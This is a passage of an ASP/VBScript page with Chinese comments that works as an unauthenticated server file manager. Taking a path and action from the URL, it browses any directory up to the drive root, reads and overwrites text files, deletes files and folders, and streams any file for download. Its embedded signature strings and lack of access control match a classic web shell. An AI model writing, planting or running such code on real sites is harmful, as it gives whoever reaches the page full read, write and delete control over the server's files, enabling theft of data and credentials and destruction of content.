'设置返回上一级目录链接
if ac<>"view" and ac<>"save" and ac<>"delf" and ac<>"download" then'去除路径为文件的活动,防止出错
Dim fsoback, fback, sback
Set fsoback = CreateObject("Scripting.FileSystemObject")
if fsoback.FolderExists(fpath) then '判断,当驱动(光驱)未准备好时防止出错
Set fback = fsoback.GetFolder(fpath)
If fback.IsRootFolder Then
sback ="<font size=2 color=#ff0000>当前文件夹是根文件夹。</font>"
response.write sback & "<br>"
Else
sback =UCase(fback.ParentFolder)
response.write "<A href='"&url&"?fpath=" & sback
response.write " '><font size=2>返回上一级目录</font></a><br>"
end if
end if
end if
response.write "__________________________________________________________<br><br>"
select case ac
case "view" '查看编辑文本文件
view(text)
case "save" '保存对文件的修改
textsave()
case "delf" '删除指定文件
DeleteAFile(fpath)
case "download" '下载指定文件
downloadFile(fpath)
case "delford" '删除指定文件夹
DeleteAFolder(fpath)
case ""
'创建FSO对像
Dim fso, f, f1, fc, s, sf
Set fso = CreateObject("Scripting.FileSystemObject")
if not fso.FolderExists(fpath) then '判断,当驱动(光驱)未准备好时防止出错
Response.Write("<h1>Error:</h1>" & fpath & " 设备未准备好!<p>")
else
Set f = fso.GetFolder(fpath)
Set fc = f.Files
set sf = f.SubFolders
asdf=f.ShortPath
For Each f1 in sf '显示文件夹
z = f1.name
d = asdf & "\" & z
z1= z
response.write "<td height='15' width='500'>"
d=replace(d,"\\","\")
response.write "<A href='"&url&"?fpath=" & d
response.write " ' >" & z1
response.write "</a></td><td>"
response.write "<A href='"&url&"?ac=delford&fpath=" & d
response.write "'>删除</td><td>icecool</td>"
response.write "<td>1832306</td></tr>"
Next
For Each f1 in fc '显示文件
s = f1.name
vfilepath=asdf & "\" & s
s1="------" & s
response.write "<td height='15' width='500'>"
response.write s1
response.write "</td><td>"
vfilepath=replace(vfilepath,"\\","\")
response.write "<a href='"&url&"?ac=delf&fpath=" & vfilepath
response.write "'>删除</a></td>"
response.write "<td><A href='"&url&"?ac=view&fpath=" & vfilepath
response.write " '>编辑</a></td>"
response.write "<td><A href='"&url&"?ac=download&fpath=" & vfilepath
response.write " '>下载</a></td></tr>"
Next
end if
response.write "</table>"
end select
function view(text) '读取编辑文本文件
dim ts,wee,fso1,fz
Const ForReading = 1
Response.Write "<b>读取文件</b> <br>"
Set fso1 = CreateObject("Scripting.FileSystemObject")
Set ts = fso1.OpenTextFile(""& fpath &"", ForReading)
Set fz = fso1.getFile(fpath)
if fz.size <= 0 then '用IF语句判断该文件是否为0字节文件,因READALL读取0字节文件会出错
response.write "该文件为0字节文件,无任何内容"
else
wee = ts.Readall
end if
response.write "<form name='form1' method='post' action='"&url&"?ac=save&fpath=" & fpath
response.write "'>"
Response.Write "<textarea name='ftext' cols='100' rows='20'>"&wee
Response.Write "</textarea>"
response.write "<input type='submit' name='Submit' value='保存'>"
ts.Close
end function
function textsave() '保存编辑文本文件
Dim fso, f1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.CreateTextFile(""& fpath &"", True)
f1.WriteLine(""& ftext &"")' 向文件写入文本框里的内容。
f1.Close
set f1=nothing
response.write"文件修改成功,请返回刷新查看!<br>"
end function
Sub DeleteAFile(fpath) '删除指定文件
Dim fsodel
Set fsodel = CreateObject("Scripting.FileSystemObject")
fsodel.DeleteFile(fpath)
response.write "删除文件成功,请返回刷新查看!"
End Sub
Sub DeleteAFolder(fpath) '删除指定文件夹
Dim fsodelford
Set fsodelford = CreateObject("Scripting.FileSystemObject")
fsodelford.DeleteFolder(fpath)
response.write "删除文件夹成功,请返回刷新查看!"
End Sub
function downloadFile(strFilename)'下载指定文件
Response.Buffer = True
Response.Clear
Set s = Server.CreateObject("ADODB.Stream")
s.Open
s.Type = 1
on error resume next
Set fso = Server.CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
response.write"</CENTER>"